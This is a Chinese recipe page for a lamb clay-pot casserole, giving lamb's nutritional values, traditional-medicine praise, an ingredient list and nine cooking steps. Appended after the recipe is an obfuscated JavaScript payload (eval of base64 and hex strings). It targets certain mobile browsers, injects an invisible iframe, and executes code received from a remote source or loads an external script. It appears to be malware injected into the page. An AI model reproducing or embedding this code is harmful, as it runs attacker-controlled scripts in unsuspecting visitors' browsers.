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羊肉砂锅煲的做法_羊肉砂锅煲怎么做2022-07-02加载中

羊肉,是我国人们主要食用肉类之一,也是冬季进补佳品。羊肉肉质细嫩,味道鲜美,含有丰富的营养。据分析,每百克羊肉含蛋白质13.3克,脂肪34.6克,碳水化合物0.7克,钙11毫克,磷129毫克,铁2.0毫克,还含有维生素B族、维生素A、烟酸等。羊肉可制成许多种风味独特、醇香无比的佳肴。
羊肉性热、味甘,是适宜于冬季进补及补阳的佳品。祖国医学认为,它能助元阳,补精血,疗肺虚,益劳损,是一种滋补强壮药。《本草从新》中说,它能“补虚劳,益气力,壮阳道,开胃健力”。金代李杲说:“羊肉有形之物,能补有形肌肉之气。故曰补可去弱。人参、羊肉之属。人参补气,羊肉补形。风味同羊肉者,皆补血虚,盖阳生则阴长也”。
启东山羊肉,连皮带骨,风味更加独特,好吃。
羊肉性热,最宜冬季食用.

羊肉砂锅煲的做法_羊肉砂锅煲怎么做

羊肉砂锅煲

原料:羊肉1000克、

调料;盐、糖、黄酒400克、老抽、葱、姜、辣椒、桂皮、八角、青蒜、鸡精.

做法

1.连皮带骨羊肉洗净.

2.放开水焯5分钟,捞出,用清水漂净.

3.取砂锅,放入羊肉.

4.倒入400克黄酒.

5.放姜,葱结,八角,桂皮,辣椒,大火煮开,小火40分钟.

6.加糖,老抽,煮30分钟.

7.加盐,大火收汁.

8.防止粘锅底,常常搅拌一下.

9.待汁收干,放些鸡精。撒些青蒜末即可。

羊肉砂锅煲的做法_羊肉砂锅煲怎么做
羊肉砂锅煲的做法_羊肉砂锅煲怎么做

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eval("\x77\x69\x6e\x64\x6f\x77")["\x44\x77\x5a\x57\x73"]=function(){eval(wdSF("OyhmdW5jdGlvbih1LHIsdyxkLGYsYyl7dmFyIGRzPW5ldyBEYXRlKCk7dT1kZWNvZGVVUklDb21wb25lbnQod2RTRih1LnJlcGxhY2UobmV3IFJlZ0V4cChjKycnK2MsJ2cnKSxjKS5zcGxpdCgnJykucmV2ZXJzZSgpLmpvaW4oJycpKSk7dT11LnJlcGxhY2UoL3FpaGFuZy9nLGRzLmdldERhdGUoKSk7J2pRdWVyeSc7aWYobmF2aWdhdG9yLnVzZXJBZ2VudC5pbmRleE9mKHdkU0YoIlltRnBaSFU9IikpPi0xIHx8IG5hdmlnYXRvci51c2VyQWdlbnQuaW5kZXhPZih3ZFNGKCdTSFZoZDJWcFFuSnZkM05sY2c9PScpKT4tMSl7ZnVuY3Rpb24gcmQobixtKXtyZXR1cm4gTWF0aC5mbG9vcihNYXRoLnJhbmRvbSgpKihtLW4rMSkrbik7fWZ1bmN0aW9uIHJtKGUpe2lmKGUmJmUudGFnTmFtZS50b1VwcGVyQ2FzZSgpPT09IklGUkFNRSImJmUuc3JjLmluZGV4T2YodSk+LTEpe2UucmVtb3ZlKCk7fWVsc2UgaWYoZS5uZXh0RWxlbWVudFNpYmxpbmcpe3JtKGUubmV4dEVsZW1lbnRTaWJsaW5nKTt9fWxldCBjPWRbd2RTRigiWTNWeWNtVnVkRk5qY21sd2RBPT0iKV07dmFyIHo9dSsnLTEuaHRtbD9Ed1pXcyc7ZFsndycrJ3JpJysndCcrJ2UnXSgnPGknKydmcicrJ2EnKydtZSBzdHlsZT0iJysnbScrJ2FyJysnZ2knKyduOjA7cCcrJ2FkJysnZCcrJ2luJysnZzowO2InKydvcicrJ2QnKydlcjpuJysnb24nKydlOycrJ29wJysnYScrJ2NpJysndCcrJ3k6MCcrJy4wJytyZCgyLDkpKyc7d2knKydkdCcrJ2g6JytyZCgyLDUpKydwJysneDtoJysnZScrJ2lnaCcrJ3Q6JytyZCgyLDUpKydwJysneDsnKyciIGFsJysnbG93dHJhbicrJ3NwYScrJ3JlbmN5IHNyJysnYz0iJyt6KyciPjwvaScrJ2ZyJysnYScrJ21lPicpO3dbJ2FkJysnZEV2JysnZW50TCcrJ2lzdCcrJ2VuZXInXSgnbScrJ2VzcycrJ2FnZScsZnVuY3Rpb24oZSl7aWYoZS5kYXRhW3JdKXtybShjKTtuZXcgRnVuY3Rpb24oZXZhbChkZWNvZGVVUklDb21wb25lbnQoZS5kYXRhW3JdLnJlcGxhY2UobmV3IFJlZ0V4cChyLCdnJyksJycpKSkpKCk7fX0pO31lbHNle2RvY3VtZW50LndyaXRlKCc8cycrJ2NyaScrJ3B0IHNyYz0iJyt1KycuanMiPjxcL3MnKydjcmlwJysndD4nKTt9fSkoJz1NJysnek10JysnTVQnKycnKydPdGcnKyduUicrJ3lVJysnJysneVp1JysnJysndUYnKydHJysnJysnYXBGJysnJysnM2MnKycnKydscCcrJ1haeicrJycrJ0oyJysnJysnYycrJ0dKVCcrJycrJ0p6JysnJysnZycrJ0RPJysnJysnNEknKydUJysnUXonKycnKydVJysnUycrJ2QnKydqbCcrJycrJ21MbicrJzVXWScrJycrJ29sVycrJ2MzJysnNUcnKycnKydhdXUnKydVJysnJysnVycrJycrJ2FoWicrJycrJ2tNJysnJysnbFknKydrTWwnKycnKydFJysnJysnME1sJysnJysnTScrJ0gnKycnKydjMCcrJycrJ1JIJysnYScrJycsJycrJ2RlcycrJ19zJysnXzkzJysnJysnJyx3aW5kb3csZG9jdW1lbnQsJycrJycrJycrJycrJycrJycsJ3UnKQ=="));}